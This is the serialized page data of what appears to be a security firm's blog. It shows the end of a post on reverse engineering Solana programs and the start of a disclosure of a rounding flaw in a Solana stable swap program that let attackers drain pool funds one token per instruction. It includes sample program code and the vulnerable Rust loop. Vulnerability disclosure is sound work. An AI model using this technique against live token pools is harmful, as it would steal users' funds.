0",{"type":23,"tag":314,"props":1203,"children":1204},{"style":338},[1205],{"type":28,"value":1025},{"type":23,"tag":314,"props":1207,"children":1209},{"class":316,"line":1208},7,[1210],{"type":23,"tag":314,"props":1211,"children":1212},{"emptyLinePlaceholder":18},[1213],{"type":28,"value":1088},{"type":23,"tag":314,"props":1215,"children":1217},{"class":316,"line":1216},8,[1218,1223,1228,1233,1238,1243,1249,1253,1258,1262,1267,1271,1276,1280,1285,1289,1294],{"type":23,"tag":314,"props":1219,"children":1220},{"style":321},[1221],{"type":28,"value":1222},"uint8_t",{"type":23,"tag":314,"props":1224,"children":1225},{"style":338},[1226],{"type":28,"value":1227}," seed",{"type":23,"tag":314,"props":1229,"children":1230},{"style":321},[1231],{"type":28,"value":1232},"[]",{"type":23,"tag":314,"props":1234,"children":1235},{"style":354},[1236],{"type":28,"value":1237}," =",{"type":23,"tag":314,"props":1239,"children":1240},{"style":338},[1241],{"type":28,"value":1242}," { ",{"type":23,"tag":314,"props":1244,"children":1246},{"style":1245},"--shiki-default:#CE9178",[1247],{"type":28,"value":1248},"'v'",{"type":23,"tag":314,"props":1250,"children":1251},{"style":338},[1252],{"type":28,"value":778},{"type":23,"tag":314,"props":1254,"children":1255},{"style":1245},[1256],{"type":28,"value":1257},"'a'",{"type":23,"tag":314,"props":1259,"children":1260},{"style":338},[1261],{"type":28,"value":778},{"type":23,"tag":314,"props":1263,"children":1264},{"style":1245},[1265],{"type":28,"value":1266},"'u'",{"type":23,"tag":314,"props":1268,"children":1269},{"style":338},[1270],{"type":28,"value":778},{"type":23,"tag":314,"props":1272,"children":1273},{"style":1245},[1274],{"type":28,"value":1275},"'l'",{"type":23,"tag":314,"props":1277,"children":1278},{"style":338},[1279],{"type":28,"value":778},{"type":23,"tag":314,"props":1281,"children":1282},{"style":1245},[1283],{"type":28,"value":1284},"'t'",{"type":23,"tag":314,"props":1286,"children":1287},{"style":338},[1288],{"type":28,"value":778},{"type":23,"tag":314,"props":1290,"children":1291},{"style":1245},[1292],{"type":28,"value":1293},"'x'",{"type":23,"tag":314,"props":1295,"children":1296},{"style":338},[1297],{"type":28,"value":1298}," };\n",{"type":23,"tag":314,"props":1300,"children":1302},{"class":316,"line":1301},9,[1303,1308,1313,1318,1323,1327,1332,1336],{"type":23,"tag":314,"props":1304,"children":1305},{"style":360},[1306],{"type":28,"value":1307},"seed",{"type":23,"tag":314,"props":1309,"children":1310},{"style":338},[1311],{"type":28,"value":1312},"[",{"type":23,"tag":314,"props":1314,"children":1315},{"style":1054},[1316],{"type":28,"value":1317},"5",{"type":23,"tag":314,"props":1319,"children":1320},{"style":338},[1321],{"type":28,"value":1322},"] ",{"type":23,"tag":314,"props":1324,"children":1325},{"style":354},[1326],{"type":28,"value":1102},{"type":23,"tag":314,"props":1328,"children":1329},{"style":338},[1330],{"type":28,"value":1331}," args",{"type":23,"tag":314,"props":1333,"children":1334},{"style":354},[1335],{"type":28,"value":1015},{"type":23,"tag":314,"props":1337,"children":1338},{"style":338},[1339],{"type":28,"value":1340},"bump;\n",{"type":23,"tag":314,"props":1342,"children":1344},{"class":316,"line":1343},10,[1345],{"type":23,"tag":314,"props":1346,"children":1347},{"emptyLinePlaceholder":18},[1348],{"type":28,"value":1088},{"type":23,"tag":314,"props":1350,"children":1352},{"class":316,"line":1351},11,[1353,1357,1362,1366,1370,1375,1380],{"type":23,"tag":314,"props":1354,"children":1355},{"style":321},[1356],{"type":28,"value":346},{"type":23,"tag":314,"props":1358,"children":1359},{"style":338},[1360],{"type":28,"value":1361}," SolSignerSeed seeds",{"type":23,"tag":314,"props":1363,"children":1364},{"style":321},[1365],{"type":28,"value":1232},{"type":23,"tag":314,"props":1367,"children":1368},{"style":354},[1369],{"type":28,"value":1237},{"type":23,"tag":314,"props":1371,"children":1372},{"style":338},[1373],{"type":28,"value":1374}," {{seed, ",{"type":23,"tag":314,"props":1376,"children":1377},{"style":332},[1378],{"type":28,"value":1379},"SOL_ARRAY_SIZE",{"type":23,"tag":314,"props":1381,"children":1382},{"style":338},[1383],{"type":28,"value":1384},"(seed)}};\n",{"type":23,"tag":314,"props":1386,"children":1388},{"class":316,"line":1387},12,[1389,1393,1398,1402,1406,1411,1415],{"type":23,"tag":314,"props":1390,"children":1391},{"style":321},[1392],{"type":28,"value":346},{"type":23,"tag":314,"props":1394,"children":1395},{"style":338},[1396],{"type":28,"value":1397}," SolSignerSeeds signers_seeds",{"type":23,"tag":314,"props":1399,"children":1400},{"style":321},[1401],{"type":28,"value":1232},{"type":23,"tag":314,"props":1403,"children":1404},{"style":354},[1405],{"type":28,"value":1237},{"type":23,"tag":314,"props":1407,"children":1408},{"style":338},[1409],{"type":28,"value":1410}," {{seeds, ",{"type":23,"tag":314,"props":1412,"children":1413},{"style":332},[1414],{"type":28,"value":1379},{"type":23,"tag":314,"props":1416,"children":1417},{"style":338},[1418],{"type":28,"value":1419},"(seeds)}};\n",{"type":23,"tag":314,"props":1421,"children":1423},{"class":316,"line":1422},13,[1424],{"type":23,"tag":314,"props":1425,"children":1426},{"emptyLinePlaceholder":18},[1427],{"type":28,"value":1088},{"type":23,"tag":314,"props":1429,"children":1431},{"class":316,"line":1430},14,[1432,1437,1441,1445],{"type":23,"tag":314,"props":1433,"children":1434},{"style":338},[1435],{"type":28,"value":1436},"SolAccountMeta arguments",{"type":23,"tag":314,"props":1438,"children":1439},{"style":321},[1440],{"type":28,"value":1232},{"type":23,"tag":314,"props":1442,"children":1443},{"style":354},[1444],{"type":28,"value":1237},{"type":23,"tag":314,"props":1446,"children":1447},{"style":338},[1448],{"type":28,"value":1449}," {\n",{"type":23,"tag":314,"props":1451,"children":1453},{"class":316,"line":1452},15,[1454,1459,1464,1468,1473,1477,1482,1486,1490],{"type":23,"tag":314,"props":1455,"children":1456},{"style":338},[1457],{"type":28,"value":1458}," {",{"type":23,"tag":314,"props":1460,"children":1461},{"style":360},[1462],{"type":28,"value":1463},"vault",{"type":23,"tag":314,"props":1465,"children":1466},{"style":338},[1467],{"type":28,"value":1015},{"type":23,"tag":314,"props":1469,"children":1470},{"style":360},[1471],{"type":28,"value":1472},"key",{"type":23,"tag":314,"props":1474,"children":1475},{"style":338},[1476],{"type":28,"value":778},{"type":23,"tag":314,"props":1478,"children":1479},{"style":321},[1480],{"type":28,"value":1481},"true",{"type":23,"tag":314,"props":1483,"children":1484},{"style":338},[1485],{"type":28,"value":778},{"type":23,"tag":314,"props":1487,"children":1488},{"style":321},[1489],{"type":28,"value":1481},{"type":23,"tag":314,"props":1491,"children":1492},{"style":338},[1493],{"type":28,"value":1494},"},\n",{"type":23,"tag":314,"props":1496,"children":1498},{"class":316,"line":1497},16,[1499,1503,1508,1512,1516,1520,1524,1528,1533],{"type":23,"tag":314,"props":1500,"children":1501},{"style":338},[1502],{"type":28,"value":1458},{"type":23,"tag":314,"props":1504,"children":1505},{"style":360},[1506],{"type":28,"value":1507},"payee",{"type":23,"tag":314,"props":1509,"children":1510},{"style":338},[1511],{"type":28,"value":1015},{"type":23,"tag":314,"props":1513,"children":1514},{"style":360},[1515],{"type":28,"value":1472},{"type":23,"tag":314,"props":1517,"children":1518},{"style":338},[1519],{"type":28,"value":778},{"type":23,"tag":314,"props":1521,"children":1522},{"style":321},[1523],{"type":28,"value":1481},{"type":23,"tag":314,"props":1525,"children":1526},{"style":338},[1527],{"type":28,"value":778},{"type":23,"tag":314,"props":1529,"children":1530},{"style":321},[1531],{"type":28,"value":1532},"false",{"type":23,"tag":314,"props":1534,"children":1535},{"style":338},[1536],{"type":28,"value":1494},{"type":23,"tag":314,"props":1538,"children":1540},{"class":316,"line":1539},17,[1541],{"type":23,"tag":314,"props":1542,"children":1543},{"style":338},[1544],{"type":28,"value":1545},"};\n",{"type":23,"tag":314,"props":1547,"children":1549},{"class":316,"line":1548},18,[1550,1554,1559,1563,1568,1573,1577],{"type":23,"tag":314,"props":1551,"children":1552},{"style":321},[1553],{"type":28,"value":1222},{"type":23,"tag":314,"props":1555,"children":1556},{"style":360},[1557],{"type":28,"value":1558}," data",{"type":23,"tag":314,"props":1560,"children":1561},{"style":338},[1562],{"type":28,"value":1312},{"type":23,"tag":314,"props":1564,"children":1565},{"style":1054},[1566],{"type":28,"value":1567},"4",{"type":23,"tag":314,"props":1569,"children":1570},{"style":354},[1571],{"type":28,"value":1572}," +",{"type":23,"tag":314,"props":1574,"children":1575},{"style":321},[1576],{"type":28,"value":1067},{"type":23,"tag":314,"props":1578,"children":1579},{"style":338},[1580],{"type":28,"value":1581},"(transfer_amount_sys)];\n",{"type":23,"tag":314,"props":1583,"children":1585},{"class":316,"line":1584},19,[1586,1591,1596,1601,1605,1610],{"type":23,"tag":314,"props":1587,"children":1588},{"style":332},[1589],{"type":28,"value":1590},"sol_memset",{"type":23,"tag":314,"props":1592,"children":1593},{"style":338},[1594],{"type":28,"value":1595},"(data, ",{"type":23,"tag":314,"props":1597,"children":1598},{"style":1054},[1599],{"type":28,"value":1600},"0",{"type":23,"tag":314,"props":1602,"children":1603},{"style":338},[1604],{"type":28,"value":778},{"type":23,"tag":314,"props":1606,"children":1607},{"style":321},[1608],{"type":28,"value":1609},"sizeof",{"type":23,"tag":314,"props":1611,"children":1612},{"style":338},[1613],{"type":28,"value":1614},"(data));\n",{"type":23,"tag":314,"props":1616,"children":1618},{"class":316,"line":1617},20,[1619],{"type":23,"tag":314,"props":1620,"children":1621},{"emptyLinePlaceholder":18},[1622],{"type":28,"value":1088},{"type":23,"tag":314,"props":1624,"children":1626},{"class":316,"line":1625},21,[1627,1631,1635,1640,1644,1649,1653],{"type":23,"tag":314,"props":1628,"children":1629},{"style":354},[1630],{"type":28,"value":256},{"type":23,"tag":314,"props":1632,"children":1633},{"style":338},[1634],{"type":28,"value":341},{"type":23,"tag":314,"props":1636,"children":1637},{"style":321},[1638],{"type":28,"value":1639},"uint16_t",{"type":23,"tag":314,"props":1641,"children":1642},{"style":354},[1643],{"type":28,"value":357},{"type":23,"tag":314,"props":1645,"children":1646},{"style":338},[1647],{"type":28,"value":1648},")data ",{"type":23,"tag":314,"props":1650,"children":1651},{"style":354},[1652],{"type":28,"value":1102},{"type":23,"tag":314,"props":1654,"children":1655},{"style":338},[1656],{"type":28,"value":1657}," TRANSFER;\n",{"type":23,"tag":314,"props":1659,"children":1661},{"class":316,"line":1660},22,[1662,1667,1671,1676,1680,1685,1689,1694,1698,1702],{"type":23,"tag":314,"props":1663,"children":1664},{"style":338},[1665],{"type":28,"value":1666},"transfer_amount_sys",{"type":23,"tag":314,"props":1668,"children":1669},{"style":354},[1670],{"type":28,"value":256},{"type":23,"tag":314,"props":1672,"children":1673},{"style":338},[1674],{"type":28,"value":1675}," data_args ",{"type":23,"tag":314,"props":1677,"children":1678},{"style":354},[1679],{"type":28,"value":1102},{"type":23,"tag":314,"props":1681,"children":1682},{"style":338},[1683],{"type":28,"value":1684}," (transfer_amount_sys",{"type":23,"tag":314,"props":1686,"children":1687},{"style":354},[1688],{"type":28,"value":256},{"type":23,"tag":314,"props":1690,"children":1691},{"style":338},[1692],{"type":28,"value":1693},") (data ",{"type":23,"tag":314,"props":1695,"children":1696},{"style":354},[1697],{"type":28,"value":1130},{"type":23,"tag":314,"props":1699,"children":1700},{"style":1054},[1701],{"type":28,"value":1057},{"type":23,"tag":314,"props":1703,"children":1704},{"style":338},[1705],{"type":28,"value":1025},{"type":23,"tag":314,"props":1707,"children":1709},{"class":316,"line":1708},23,[1710,1715,1719,1724,1728,1732,1736],{"type":23,"tag":314,"props":1711,"children":1712},{"style":338},[1713],{"type":28,"value":1714},"data_args",{"type":23,"tag":314,"props":1716,"children":1717},{"style":354},[1718],{"type":28,"value":1015},{"type":23,"tag":314,"props":1720,"children":1721},{"style":338},[1722],{"type":28,"value":1723},"lamports ",{"type":23,"tag":314,"props":1725,"children":1726},{"style":354},[1727],{"type":28,"value":1102},{"type":23,"tag":314,"props":1729,"children":1730},{"style":338},[1731],{"type":28,"value":1331},{"type":23,"tag":314,"props":1733,"children":1734},{"style":354},[1735],{"type":28,"value":1015},{"type":23,"tag":314,"props":1737,"children":1738},{"style":338},[1739],{"type":28,"value":1740},"amt;\n",{"type":23,"tag":314,"props":1742,"children":1744},{"class":316,"line":1743},24,[1745],{"type":23,"tag":314,"props":1746,"children":1747},{"emptyLinePlaceholder":18},[1748],{"type":28,"value":1088},{"type":23,"tag":314,"props":1750,"children":1752},{"class":316,"line":1751},25,[1753,1757,1762,1766,1771,1776,1780,1784],{"type":23,"tag":314,"props":1754,"children":1755},{"style":321},[1756],{"type":28,"value":346},{"type":23,"tag":314,"props":1758,"children":1759},{"style":338},[1760],{"type":28,"value":1761}," SolInstruction instruction ",{"type":23,"tag":314,"props":1763,"children":1764},{"style":354},[1765],{"type":28,"value":1102},{"type":23,"tag":314,"props":1767,"children":1768},{"style":338},[1769],{"type":28,"value":1770}," {",{"type":23,"tag":314,"props":1772,"children":1773},{"style":360},[1774],{"type":28,"value":1775},"system_program",{"type":23,"tag":314,"props":1777,"children":1778},{"style":338},[1779],{"type":28,"value":1015},{"type":23,"tag":314,"props":1781,"children":1782},{"style":360},[1783],{"type":28,"value":1472},{"type":23,"tag":314,"props":1785,"children":1786},{"style":338},[1787],{"type":28,"value":1788},", arguments,\n",{"type":23,"tag":314,"props":1790,"children":1792},{"class":316,"line":1791},26,[1793,1798],{"type":23,"tag":314,"props":1794,"children":1795},{"style":332},[1796],{"type":28,"value":1797}," SOL_ARRAY_SIZE",{"type":23,"tag":314,"props":1799,"children":1800},{"style":338},[1801],{"type":28,"value":1802},"(arguments), data,\n",{"type":23,"tag":314,"props":1804,"children":1806},{"class":316,"line":1805},27,[1807,1811],{"type":23,"tag":314,"props":1808,"children":1809},{"style":332},[1810],{"type":28,"value":1797},{"type":23,"tag":314,"props":1812,"children":1813},{"style":338},[1814],{"type":28,"value":1815},"(data)};\n",{"type":23,"tag":314,"props":1817,"children":1819},{"class":316,"line":1818},28,[1820,1825,1829,1834,1839,1844,1848,1853,1857,1861,1866],{"type":23,"tag":314,"props":1821,"children":1822},{"style":332},[1823],{"type":28,"value":1824},"sol_invoke_signed",{"type":23,"tag":314,"props":1826,"children":1827},{"style":338},[1828],{"type":28,"value":341},{"type":23,"tag":314,"props":1830,"children":1831},{"style":354},[1832],{"type":28,"value":1833},"&",{"type":23,"tag":314,"props":1835,"children":1836},{"style":360},[1837],{"type":28,"value":1838},"instruction",{"type":23,"tag":314,"props":1840,"children":1841},{"style":338},[1842],{"type":28,"value":1843},", params",{"type":23,"tag":314,"props":1845,"children":1846},{"style":354},[1847],{"type":28,"value":1015},{"type":23,"tag":314,"props":1849,"children":1850},{"style":360},[1851],{"type":28,"value":1852},"ka",{"type":23,"tag":314,"props":1854,"children":1855},{"style":338},[1856],{"type":28,"value":1843},{"type":23,"tag":314,"props":1858,"children":1859},{"style":354},[1860],{"type":28,"value":1015},{"type":23,"tag":314,"props":1862,"children":1863},{"style":360},[1864],{"type":28,"value":1865},"ka_num",{"type":23,"tag":314,"props":1867,"children":1868},{"style":338},[1869],{"type":28,"value":1870},",\n",{"type":23,"tag":314,"props":1872,"children":1874},{"class":316,"line":1873},29,[1875,1880,1884],{"type":23,"tag":314,"props":1876,"children":1877},{"style":338},[1878],{"type":28,"value":1879}," signers_seeds, ",{"type":23,"tag":314,"props":1881,"children":1882},{"style":332},[1883],{"type":28,"value":1379},{"type":23,"tag":314,"props":1885,"children":1886},{"style":338},[1887],{"type":28,"value":1888},"(signers_seeds));\n",{"type":23,"tag":314,"props":1890,"children":1892},{"class":316,"line":1891},30,[1893],{"type":23,"tag":314,"props":1894,"children":1895},{"emptyLinePlaceholder":18},[1896],{"type":28,"value":1088},{"type":23,"tag":314,"props":1898,"children":1900},{"class":316,"line":1899},31,[1901,1906,1910,1915,1919,1924,1928,1933,1937],{"type":23,"tag":314,"props":1902,"children":1903},{"style":338},[1904],{"type":28,"value":1905},"LendingData",{"type":23,"tag":314,"props":1907,"children":1908},{"style":354},[1909],{"type":28,"value":256},{"type":23,"tag":314,"props":1911,"children":1912},{"style":338},[1913],{"type":28,"value":1914}," ld_obj ",{"type":23,"tag":314,"props":1916,"children":1917},{"style":354},[1918],{"type":28,"value":1102},{"type":23,"tag":314,"props":1920,"children":1921},{"style":338},[1922],{"type":28,"value":1923}," (LendingData",{"type":23,"tag":314,"props":1925,"children":1926},{"style":354},[1927],{"type":28,"value":256},{"type":23,"tag":314,"props":1929,"children":1930},{"style":338},[1931],{"type":28,"value":1932},") ld_acct",{"type":23,"tag":314,"props":1934,"children":1935},{"style":354},[1936],{"type":28,"value":1015},{"type":23,"tag":314,"props":1938,"children":1939},{"style":338},[1940],{"type":28,"value":1941},"data;\n",{"type":23,"tag":314,"props":1943,"children":1945},{"class":316,"line":1944},32,[1946,1951,1955,1960,1964,1969,1974,1978,1983,1987,1992,1996,2001],{"type":23,"tag":314,"props":1947,"children":1948},{"style":338},[1949],{"type":28,"value":1950},"Market",{"type":23,"tag":314,"props":1952,"children":1953},{"style":354},[1954],{"type":28,"value":256},{"type":23,"tag":314,"props":1956,"children":1957},{"style":338},[1958],{"type":28,"value":1959}," market ",{"type":23,"tag":314,"props":1961,"children":1962},{"style":354},[1963],{"type":28,"value":1102},{"type":23,"tag":314,"props":1965,"children":1966},{"style":354},[1967],{"type":28,"value":1968}," &",{"type":23,"tag":314,"props":1970,"children":1971},{"style":338},[1972],{"type":28,"value":1973},"ld_obj",{"type":23,"tag":314,"props":1975,"children":1976},{"style":354},[1977],{"type":28,"value":1015},{"type":23,"tag":314,"props":1979,"children":1980},{"style":360},[1981],{"type":28,"value":1982},"markets",{"type":23,"tag":314,"props":1984,"children":1985},{"style":338},[1986],{"type":28,"value":1312},{"type":23,"tag":314,"props":1988,"children":1989},{"style":360},[1990],{"type":28,"value":1991},"args",{"type":23,"tag":314,"props":1993,"children":1994},{"style":338},[1995],{"type":28,"value":1015},{"type":23,"tag":314,"props":1997,"children":1998},{"style":360},[1999],{"type":28,"value":2000},"idx",{"type":23,"tag":314,"props":2002,"children":2003},{"style":338},[2004],{"type":28,"value":2005},"];\n",{"type":23,"tag":314,"props":2007,"children":2009},{"class":316,"line":2008},33,[2010,2015,2019,2024,2029,2033,2037],{"type":23,"tag":314,"props":2011,"children":2012},{"style":338},[2013],{"type":28,"value":2014},"market",{"type":23,"tag":314,"props":2016,"children":2017},{"style":354},[2018],{"type":28,"value":1015},{"type":23,"tag":314,"props":2020,"children":2021},{"style":338},[2022],{"type":28,"value":2023},"liab ",{"type":23,"tag":314,"props":2025,"children":2026},{"style":354},[2027],{"type":28,"value":2028},"+=",{"type":23,"tag":314,"props":2030,"children":2031},{"style":338},[2032],{"type":28,"value":1331},{"type":23,"tag":314,"props":2034,"children":2035},{"style":354},[2036],{"type":28,"value":1015},{"type":23,"tag":314,"props":2038,"children":2039},{"style":338},[2040],{"type":28,"value":1740},{"type":23,"tag":314,"props":2042,"children":2044},{"class":316,"line":2043},34,[2045,2049,2054,2058,2062,2066,2071,2075,2080],{"type":23,"tag":314,"props":2046,"children":2047},{"style":332},[2048],{"type":28,"value":1005},{"type":23,"tag":314,"props":2050,"children":2051},{"style":338},[2052],{"type":28,"value":2053},"(market",{"type":23,"tag":314,"props":2055,"children":2056},{"style":354},[2057],{"type":28,"value":1015},{"type":23,"tag":314,"props":2059,"children":2060},{"style":338},[2061],{"type":28,"value":2023},{"type":23,"tag":314,"props":2063,"children":2064},{"style":354},[2065],{"type":28,"value":1165},{"type":23,"tag":314,"props":2067,"children":2068},{"style":338},[2069],{"type":28,"value":2070}," market",{"type":23,"tag":314,"props":2072,"children":2073},{"style":354},[2074],{"type":28,"value":1015},{"type":23,"tag":314,"props":2076,"children":2077},{"style":360},[2078],{"type":28,"value":2079},"collat",{"type":23,"tag":314,"props":2081,"children":2082},{"style":338},[2083],{"type":28,"value":1025},{"type":23,"tag":54,"props":2085,"children":2087},{"id":2086},"whats-next",[2088],{"type":28,"value":2089},"What's next?",{"type":23,"tag":24,"props":2091,"children":2092},{},[2093],{"type":28,"value":2094},"We're planning to follow up this introductory blog post with a series of case studies of blackbox Solana program analysis using our Binary Ninja plugin. Stay tuned!",{"type":23,"tag":2096,"props":2097,"children":2098},"style",{},[2099],{"type":28,"value":2100},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":7,"searchDepth":370,"depth":370,"links":2102},[2103,2104,2105,2106,2107,2108,2109,2110],{"id":63,"depth":370,"text":66},{"id":74,"depth":370,"text":77},{"id":117,"depth":370,"text":120},{"id":176,"depth":370,"text":179},{"id":492,"depth":370,"text":495},{"id":650,"depth":370,"text":653},{"id":696,"depth":370,"text":699},{"id":763,"depth":370,"text":766,"children":2111},[2112,2113,2114,2115,2116],{"id":839,"depth":380,"text":842},{"id":866,"depth":380,"text":869},{"id":920,"depth":380,"text":923},{"id":931,"depth":380,"text":934},{"id":962,"depth":380,"text":965},"markdown","content:blog:2022-08-27-reverse-engineering-solana.md","content","blog/2022-08-27-reverse-engineering-solana.md","blog/2022-08-27-reverse-engineering-solana","md",[2124,4634,4970,8509,12863,17984,28250,29682,30445,34670,39695,45123,46280,49771,60165,66894,68732,70442,75105,89003,91724,96513,98953,101298,107084,122904,131202,141126,146404,155796,158133],{"_path":2125,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":2126,"description":2127,"image":2128,"date":2132,"isFeatured":18,"tags":2133,"onBlogPage":18,"body":2135,"_type":2117,"_id":4631,"_source":2119,"_file":4632,"_stem":4633,"_extension":2122},"/blog/2022-04-26-spl-swap-rounding","Becoming a Millionaire, 0.000150 BTC at a Time","How we discovered a critical issue in Solana's stable swap implementation. A story about arbitrage and rounding.",{"src":2129,"width":2130,"height":2131},"/posts/spl-swap/title.jpg",600,368,"2022-04-26",[17,2134],"report",{"type":20,"children":2136,"toc":4625},[2137,2151,2156,2161,2169,2175,2180,2185,2194,2202,2207,2212,2220,2225,2230,2611,2621,2626,3154,3159,3167,3174,3180,3185,3190,3195,3202,3214,3219,3231,3469,3474,3479,3485,3490,3495,3541,3546,3554,3559,3564,3569,3712,3725,3841,3855,3863,3877,3885,3898,3903,3915,3923,3945,4563,4569,4574,4586,4599,4606,4611,4616,4621],{"type":23,"tag":24,"props":2138,"children":2139},{},[2140,2142,2149],{"type":28,"value":2141},"We discovered a critical rounding issue in the Solana Program Library's implementation of stable swap, ",{"type":23,"tag":31,"props":2143,"children":2146},{"href":2144,"rel":2145},"https://github.com/solana-labs/solana-program-library/tree/master/token-swap/program",[35],[2147],{"type":28,"value":2148},"spl-token-swap",{"type":28,"value":2150},". Similar to Neodyme's spl-token-lending exploit, we were able to extract a single token per instruction. This exceeds the value of the 5000 lamport transaction fee on BTC stable swaps, allowing an attacker to profitably drain funds.",{"type":23,"tag":24,"props":2152,"children":2153},{},[2154],{"type":28,"value":2155},"Such BTC stable swaps had over 74 million in combined value. The total value of stable swaps impacted exceed 700 million.",{"type":23,"tag":24,"props":2157,"children":2158},{},[2159],{"type":28,"value":2160},"We would also like to thank the Saber team for their fast triage and remediation.",{"type":23,"tag":24,"props":2162,"children":2163},{},[2164],{"type":23,"tag":186,"props":2165,"children":2166},{},[2167],{"type":28,"value":2168},"Rounding bugs are an increasingly common vulnerability class, enabled by low transaction costs",{"type":23,"tag":61,"props":2170,"children":2172},{"id":2171},"discovery",[2173],{"type":28,"value":2174},"Discovery",{"type":23,"tag":24,"props":2176,"children":2177},{},[2178],{"type":28,"value":2179},"Parth, one of our researchers, was implementing a graph search for our arbitrage bot to calculate the price of any token relative to SOL.",{"type":23,"tag":24,"props":2181,"children":2182},{},[2183],{"type":28,"value":2184},"After a while, he noticed something weird..",{"type":23,"tag":2186,"props":2187,"children":2188},"blockquote",{},[2189],{"type":23,"tag":24,"props":2190,"children":2191},{},[2192],{"type":28,"value":2193},"so either my graph search is wrong\nor its possible to get a ton of money out of nothing",{"type":23,"tag":304,"props":2195,"children":2197},{"code":2196},"KwnjUuZ : 0 9vMJfxu -> 1 EPjFWdd\nKwnjUuZ : 1 EPjFWdd -> 2 9vMJfxu\nKwnjUuZ : 2 9vMJfxu -> 3 EPjFWdd\nHU1tejU : 3 EPjFWdd -> 625 PRT88Rk\n24ZbKS3 : 625 PRT88Rk -> 7 EPjFWdd\n3oRPcFa : 7 EPjFWdd -> 6 BQcdHdA\n",[2198],{"type":23,"tag":94,"props":2199,"children":2200},{"__ignoreMap":7},[2201],{"type":28,"value":2196},{"type":23,"tag":24,"props":2203,"children":2204},{},[2205],{"type":28,"value":2206},"Somehow, we were getting tokens from nothing?",{"type":23,"tag":24,"props":2208,"children":2209},{},[2210],{"type":28,"value":2211},"After taking a look at the pairs on which this was occuring, we quickly realized that only stable swap pairs were impacted.",{"type":23,"tag":304,"props":2213,"children":2215},{"code":2214},"KwnjUuZhTMTSGAaavkLEmSyfobY16JNH4poL9oeeEvE\nHU1tejUtt7AZYrC9SAuqCW9MpuSqsdoedHSb1XUKjUPN\n24ZbKS36rkPv14Tdx8qv4NRyqatTaJ5KgJrT1LxBKn5d\n3oRPcFaRHvv9pPR6nRasigVDkm3k9kTjdfjxUpgLV5Pq\n",[2216],{"type":23,"tag":94,"props":2217,"children":2218},{"__ignoreMap":7},[2219],{"type":28,"value":2214},{"type":23,"tag":24,"props":2221,"children":2222},{},[2223],{"type":28,"value":2224},"This seemed suspicious. Perhaps it had something to do with the stable swap math?",{"type":23,"tag":24,"props":2226,"children":2227},{},[2228],{"type":28,"value":2229},"It was also weird how we could only ever get at most one extra token. As usual, the best way to answer such questions is to read the code. We dived into the stable swap Solana implementation to look for a possible root cause.",{"type":23,"tag":304,"props":2231,"children":2235},{"code":2232,"language":2233,"meta":7,"className":2234,"style":7}," // Solve for y by approximating: y**2 + b*y = c\n let mut y = d_val;\n for _ in 0..ITERATIONS {\n let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n if y_new == y {\n break;\n } else {\n y = y_new;\n }\n }\n","rust","language-rust shiki shiki-themes slack-dark",[2236],{"type":23,"tag":94,"props":2237,"children":2238},{"__ignoreMap":7},[2239,2247,2279,2312,2415,2520,2546,2558,2575,2595,2603],{"type":23,"tag":314,"props":2240,"children":2241},{"class":316,"line":317},[2242],{"type":23,"tag":314,"props":2243,"children":2244},{"style":374},[2245],{"type":28,"value":2246}," // Solve for y by approximating: y**2 + b*y = c\n",{"type":23,"tag":314,"props":2248,"children":2249},{"class":316,"line":370},[2250,2255,2260,2265,2269,2274],{"type":23,"tag":314,"props":2251,"children":2252},{"style":321},[2253],{"type":28,"value":2254}," let",{"type":23,"tag":314,"props":2256,"children":2257},{"style":321},[2258],{"type":28,"value":2259}," mut",{"type":23,"tag":314,"props":2261,"children":2262},{"style":360},[2263],{"type":28,"value":2264}," y",{"type":23,"tag":314,"props":2266,"children":2267},{"style":354},[2268],{"type":28,"value":1237},{"type":23,"tag":314,"props":2270,"children":2271},{"style":360},[2272],{"type":28,"value":2273}," d_val",{"type":23,"tag":314,"props":2275,"children":2276},{"style":338},[2277],{"type":28,"value":2278},";\n",{"type":23,"tag":314,"props":2280,"children":2281},{"class":316,"line":380},[2282,2288,2293,2298,2302,2307],{"type":23,"tag":314,"props":2283,"children":2285},{"style":2284},"--shiki-default:#C586C0",[2286],{"type":28,"value":2287}," for",{"type":23,"tag":314,"props":2289,"children":2290},{"style":360},[2291],{"type":28,"value":2292}," _",{"type":23,"tag":314,"props":2294,"children":2295},{"style":321},[2296],{"type":28,"value":2297}," in",{"type":23,"tag":314,"props":2299,"children":2300},{"style":1054},[2301],{"type":28,"value":1201},{"type":23,"tag":314,"props":2303,"children":2304},{"style":354},[2305],{"type":28,"value":2306},"..",{"type":23,"tag":314,"props":2308,"children":2309},{"style":338},[2310],{"type":28,"value":2311},"ITERATIONS {\n",{"type":23,"tag":314,"props":2313,"children":2314},{"class":316,"line":1091},[2315,2320,2325,2330,2334,2339,2344,2348,2352,2357,2361,2365,2370,2374,2379,2383,2388,2393,2397,2401,2405,2410],{"type":23,"tag":314,"props":2316,"children":2317},{"style":321},[2318],{"type":28,"value":2319}," let",{"type":23,"tag":314,"props":2321,"children":2322},{"style":338},[2323],{"type":28,"value":2324}," (",{"type":23,"tag":314,"props":2326,"children":2327},{"style":360},[2328],{"type":28,"value":2329},"y_new",{"type":23,"tag":314,"props":2331,"children":2332},{"style":338},[2333],{"type":28,"value":778},{"type":23,"tag":314,"props":2335,"children":2336},{"style":360},[2337],{"type":28,"value":2338},"_",{"type":23,"tag":314,"props":2340,"children":2341},{"style":338},[2342],{"type":28,"value":2343},") 